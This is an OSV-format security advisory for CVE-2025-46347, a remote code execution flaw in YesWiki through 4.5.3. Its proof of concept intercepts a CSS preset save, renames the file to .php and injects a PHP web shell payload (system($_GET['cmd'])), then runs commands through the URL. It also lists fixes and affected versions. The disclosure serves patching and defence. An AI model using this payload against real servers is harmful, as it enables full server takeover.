CVE-2025-46347: Yeswiki/yeswiki Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-88xg-v53p-fpvf",
  "modified" : "2025-04-29T20:27:14Z",
  "published" : "2025-04-29T14:45:42Z",
  "aliases" : [ "CVE-2025-46347" ],
  "summary" : "YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution",
  "details" : "### Summary\nAn arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. \n\nAll testing was performed on a local docker setup running the latest version of the application.\n\n### PoC\nProof of Concept\n\nNavigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. \n\n![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69)\n\n\nAfter clicking save, this request is made (most headers removed for clarity): \n\n```\nPOST /?api/templates/custom-presets/test.css HTTP/1.1\nHost: localhost:8085\n\nprimary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif\n```\n\nThis request writes the file `test.css` to disk with the contents (abbreviated)\n```\n:root {\n  --primary-color: #0c5d6a;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nTo exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. \n\ne.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`\n\nNow the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. \n\n\n```\n:root {\n  --primary-color: <?php system($_GET['cmd']); ?>;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nThen, simply visit the file with a `cmd` parameter included. \n\n```\nhttp://localhost:8085/custom/css-presets/pizzapower.php?cmd=id\n```\n\nAnd the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). \n\n```\n:root {\n  --primary-color: uid=501(yeswiki) gid=501 groups=501\n;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n![injection](https://github.com/user-attachments/assets/6567d500-23b9-4587-a166-3b49878446e7)\n\n### Impact\n\nFull compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. \n\n## Fixes\n\nAmongst others: \n\nRestrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.\nHarden server config: Disable PHP execution in user-writable directories",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-88xg-v53p-fpvf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-46347"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/commit/8fe5275a78dc7e0f9c242baa3cbac6b5ac1cc066"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-29T14:45:42Z",
    "nvd_published_at" : "2025-04-29T18:15:44Z"
  }
}